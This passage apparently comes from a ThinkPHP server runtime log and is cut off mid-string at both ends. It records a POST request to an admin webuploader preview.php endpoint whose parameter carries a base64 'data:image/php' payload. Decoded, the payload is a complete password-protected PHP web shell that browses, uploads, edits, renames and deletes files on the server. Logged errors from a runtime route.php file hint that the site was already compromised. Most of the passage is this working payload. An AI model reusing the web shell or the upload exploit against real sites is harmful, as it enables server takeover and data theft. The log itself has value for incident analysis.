CjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:21+08:00 ] 119.42.146.234 POST 51tianwei.com/admin/lib/webuploader/preview.php [运行时间:0.002650s] [吞吐率:377.36req/s] [内存消耗:180.63kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0g